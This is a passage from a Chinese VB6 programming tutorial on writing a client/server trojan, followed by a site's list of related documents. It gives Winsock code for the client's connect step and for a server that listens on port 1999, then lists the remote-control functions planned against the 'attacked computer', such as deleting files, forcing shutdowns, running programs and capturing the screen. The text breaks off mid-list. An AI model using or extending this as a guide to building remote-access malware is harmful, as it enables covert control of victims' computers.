VB高级编程100例
浅谈用 VB6.0编写木马程序
现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的 C/S结构,目前也有一些开始向 B/S结构转变,
在这里暂且不对 B/S结构进行详谈,本文主要介绍 C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权
限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它
了。下面来谈谈如何用 VB来实现它。
首先使用 VB建立两个程序,一个为客户端程序 Client,一个为服务器端程序 systry。
在 Client工程中建立一个窗体,加载 WinSock控件,称为 tcpClient,协议选择 TCP,再加入两个文本框,用以输入服
务器的 IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
Private Sub cmdConnect_Click()
If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
MsgBox ("请输入主机名或主机 IP地址。")
Exit Sub
Else
If Len(Text1.Text) > 0 Then
tcpClient.RemoteHost = Text1.Text
Else
tcpClient.RemoteHost = Text2.Text
End If
End If
tcpClient.Connect
Timer1.Enabled = True
End Sub
连接建立之后就可以使用 DataArrival事件处理所收到的数据了。
在服务器端 systry工程也建立一个窗体,加载 WinSock控件,称为 tcpServer,协议选择 TCP,在 Form_Load事件中加
入如下代码:
Private Sub Form_Load()
tcpServer.LocalPort = 1999
tcpServer.Listen
End Sub
准备应答客户端程序的请求连接,使用 ConnectionRequest事件来应答户端程序的请求,代码如下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If tcpServer.State < > sckClosed Then
tcpServer.Close‘检查控件的 State属性是否为关闭的。
End If '如果不是,在接受新的连接之前先关闭此连接。
tcpServer.Accept requestID
End Sub
这样在客户端程序按下了连接按钮后,服务器端程序的 ConnectionRequest事件被触发,执行了以上的代码。如果不出
意外,连接就被建立起来了。
建立连接后服务器端的程序通过 DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱
动器名、目录名、文件名等传到客户机端,客户机端接收后用 TreeView控件以树状的形式显示出来,浏览服务器端文件目
录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删
除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进
程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交
你可能喜欢
- 数据采集
- vb常用控件
- Excel使用技巧大全(超
- vb基础教程
- VB控件属性大全
- 应用labview构建数据采集系统7页
- 基于CPLD的数据采集卡11页
- 数据采集仪环境搭建5页
- 免费数据采集编程指南 下篇28页
- 数据采集系统毕业设计期中检查2页
- 数据采集系统毕业设计论文47页
- Excel使用技巧大全(超全)95页
- Excel使用技巧大全(超全)94页
- Excel2003 2007 XP 使用技巧超级大全500个使用技巧 让你成为高手中的高手(超全)120页
- Excel使用技巧大全(超全)50页
- Excel使用技巧大全(超全)295页
- Excel使用技巧绝对大全(超全)95页
- vb基础教程68页
- vb基础教程第02章37页
- vb基础教程第11章27页
- vb基础教程第10章31页
- vb基础教程第09章36页
- vb基础教程第08章40页
- VB控件属性大全122页
- VB控件属性大全29页
- VB控件属性大全打印13页
- VB控件属性大全29页
- VB控件大全属性详解 OLE容器3页
- VB控件属性方法大全23页


